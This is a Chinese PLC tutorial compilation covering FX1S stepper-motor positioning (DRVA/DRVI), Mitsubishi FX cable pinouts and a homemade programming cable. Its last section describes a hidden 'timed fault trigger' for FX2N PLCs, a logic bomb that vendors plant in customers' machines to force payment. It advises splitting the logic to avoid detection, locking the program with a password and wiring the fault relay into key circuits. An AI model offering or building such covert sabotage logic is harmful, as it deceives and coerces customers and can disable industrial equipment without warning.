FX1S控制步进电机的实例

  • 格式:pdf
  • 大小:1.01 MB
  • 文档页数:19

下载文档原格式

  / 19
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

FX1S控制步进电机的实例(图与程序)

此主题相关图片如下,点击图片看大图:

·采用绝对位置控制指令(DRVA),大致阐述FX1S控制步进电机的方法。由于水平有限,本实例采用非专业述语论述,请勿引用。

·FX系列PLC单元能同时输出两组100KHZ脉冲,是低成本控制伺服与步进电机的较好选择!

·PLS+,PLS-为步进驱动器的脉冲信号端子,DIR+,DIR-为步进驱动器的方向信号端子。

·所谓绝对位置控制(DRVA),就是指定要走到距离原点的位置,原点位置数据存放于32位寄存器D8140里。当机械位于我们设定的原点位置时用程序把D8140的值清零,也就确定了原点的位置。

·实例动作方式:X0闭合动作到A点停止,X1闭合动作到B点停止,接线图与动作位置示例如左图(距离用脉冲数表示)。

·程序如下图:(此程序只为说明用,实用需改善。)

以下内容为需要回复才能浏览

·说明:

·在原点时将D8140的值清零(本程序中没有做此功能)

·32位寄存器D8140是存放Y0的输出脉冲数,正转时增加,反转时减少。当正转动作到A点时,D8140的值是3000。此时闭合X1,机械反转动作到B点,也就是-3000的位置。D8140的值就是-3000。

·当机械从A点向B点动作过程中,X1断开(如在C点断开)则D8140的值就是200,此时再闭合X0,机械正转动作到A点停止。

·当机械停在A点时,再闭合X0,因为机械已经在距离原点3000的位置上,故而机械没有动作!

·把程序中的绝对位置指令(DRVA)换成相对位置指令(DRVI):

·当机械在B点时(假设此时D8140的值是-3000)闭合X0,则机械正转3000个脉冲停止,也就是停在了原点。D8140的值为0

·当机械在B点时(假设此时D8140的值是-3000)闭合X1,则机械反转3000个脉冲停止,也就是停在了左边距离B点3000的位置(图中未画出),D8140的值为-6000。

·一般两相步进电机驱动器端子示意图:

·FREE+,FREE-:脱机信号,步进电机的没有脉冲信号输入时具有自锁功能,也就是锁住转子不动。而当有脱机信号时解除自锁功能,转子处于自由状态并且不响应步进脉冲。

·V+,GND:为驱动器直流电源端子,也有交流供电类型。

·A+,A-,B+,B-分别接步进电机的两相线圈。

此主题相关图片如下,点击图片看大图:

PLC技术网(htt)-可编程控制器技术门户

此主题相关图片如下,点击图片看大图:

PLC技术网(htt)-可编程控制器技术门户

原作者要求注明出处,我加了,但不是广告,帮主注意了:

来自:/

[此

三菱的FX通信电缆连线

三菱的FX用RS-232C电缆型号:

F2-232CAB-1

FX-232AWC侧--------PC侧

(2)-------------(2)

(3)-------------(3)

(6)-------------(4)

(7)-------------(5)

(20)------------(6)

FX(4)---FX(5) PC(7)---PC(8)

三菱的FX用RS-422电缆型号:

FX-422CAB0

PLC侧FX0-----------FX-232AWC侧

PLC(1)-----------FX(15)

PLC(2)-----------FX(2)

PLC(3)-----------FX(7)

PLC(4)-----------FX(16)

PLC(5)-----------FX(12)FX(18)

PLC(6)-----------FX(20)

PLC(7)-----------FX(3)

PLC(8)-----------FX(24)

FX(5)---FX(8)---FX(21)

三菱的FX2用RS-422电缆型号:

FX-422CAB(25针---25针)

PLC侧FX2-----------FX-232AWC侧

(1)--------------(1)

(2)--------------(2)

(3)--------------(3)

(4)--------------(4)

(5)--------------(5)

(7)--------------(7)

(8)--------------(8)

(12)-------------(12)

(13)-------------(13)

(15)-------------(15)

(16)-------------(16)

(17)-------------(17)

(18)-------------(18)

PLC(20)--PLC(21);FX(20)--FX(21) (24)-------------(24)

(25)-------------(25)

三菱PLC编程电缆的自制

三菱PLC与PC机联接,需要一根特制的电缆联接。自制很复杂,这里介绍一种简单方法供大家参考。

适用机型:三菱FX2 可编程控制器(25针插空)

材料: 并口25针接头1个、串行接头1个(25针、9针任意选择)、5芯电缆一根(长度根据需要)、2.2K电阻4个。

接线方法:

PLC侧 PC25 PC9

编程口 针串口 针串口 备注

2、3、4、5、8、20、21 7 5 PLC侧短路,接PC侧

15 2 3 PLC与PC之间接2.2k电阻

16 3 2 同上

17 4 7 同上

18 5 8 同上

已实验PLC型号:FX2-128MR、FX2-64MR、FX2FX2-80MR。

定时触发故障PLC程序

一、定时触发故障PLC程序(PLC为实时时钟)

该程序是用三菱PLC编程软件GX Developer V7.08J(SW7D5C-GPPW)简体中文版所编的程序,仅适用于三菱FX2N系列PLC。

该程序是为设备制造商收取剩余款项而设的筹码,在设备制造商老板有要求时可以使用,仅适用于信誉度不好的客户。该程序一旦触发,无论设备是否处于运行状态、PLC是否处于运行状态或通电状态,指定时间以后将会准时出现故障。请谨慎使用!

该程序应当嵌入应用程序之中,为避免他人识破,可以将程序分成多块分别嵌入在应用程序的各个地方。

为避免他人修改你的程序,应当将整个程序进行加密——设置口令,具体操作方法请参阅程序加密的相关说明。

M490为故障触点,应当串联或并联在程序多个关键动作回路中。

X20为定时触发故障复位端子,要求该端子为没有被使用的端子(否则请更换为另一个没有被使用的端子)。需要解除还没有被触发的故障或已经触发的故障时,将该触点和PLC 的输入COM端短接即可。如果系统当前时间还没到故障触发时间,一旦该端子与COM端子断开,故障将在预定时间触发!如果系统当前时间已经过了指定的故障触发时间,一旦该端子与COM端子断开,故障将立即触发!如果需要重新指定故障触发时间,就必须得更改指定的故障触发时间——需要对PLC进行编程!

该程序指定的故障触发时间为2007年1月1日0时0分0秒,可以进行更改。

该程序中所用到的通用继电器M481-M499、定时器T198、存储区D0-D5,请不要在程序的其它地方使用,否则该程序可能无法正常发挥作用。

对于三菱其它系列PLC或其它品牌PLC,请对程序作相应更改——各存储器请按照相应存储区域进行更改。

该程序并没有修改PLC的系统时钟,因此程序中的其它地方或和PLC通信的其它设备所调用的PLC系统时钟反映的是正确的当前日期和时间。